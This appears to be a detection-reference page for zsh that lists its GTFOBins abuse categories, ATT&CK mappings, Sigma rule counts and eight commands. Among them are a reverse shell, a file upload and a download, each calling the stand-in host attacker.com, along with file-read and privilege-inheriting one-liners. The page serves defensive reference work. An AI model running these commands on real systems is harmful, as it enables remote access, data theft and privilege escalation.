zsh

Z SHell, a Bash-compatible command-line interpreter. tldr-pages

GTFOBins download, file-read, file-write, inherit, reverse-shell, upload 8 Sigma rules name it 2 ATT&CK techniques 8 documented commands

How zsh is abused

documented by GTFOBins

download T1105 Ingress Tool Transfer

-c

-n

file-read

-c

file-write

-c

inherit

-c

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-c

upload

-c

-n

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for zsh.

8 documented commands

from GTFOBins, each read by the identifier

download unprivileged, with sudo, as SUID

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

Identify

file-read unprivileged, with sudo, as SUID

zsh -c 'echo "$(</path/to/input-file)"'

Identify

file-read unprivileged, with sudo, as SUID

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

Identify

file-write unprivileged, with sudo, as SUID

zsh -c 'echo DATA >/path/to/output-file'

Identify

inherit unprivileged, with sudo, as SUID

zsh -c '</etc/hosts'

Identify

reverse-shell unprivileged, with sudo, as SUID

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Identify

shell unprivileged, with sudo, as SUID

zsh

Identify

upload unprivileged, with sudo, as SUID

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'

Identify

None of the 8 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for zsh. The identifier reads the line of each that runs zsh.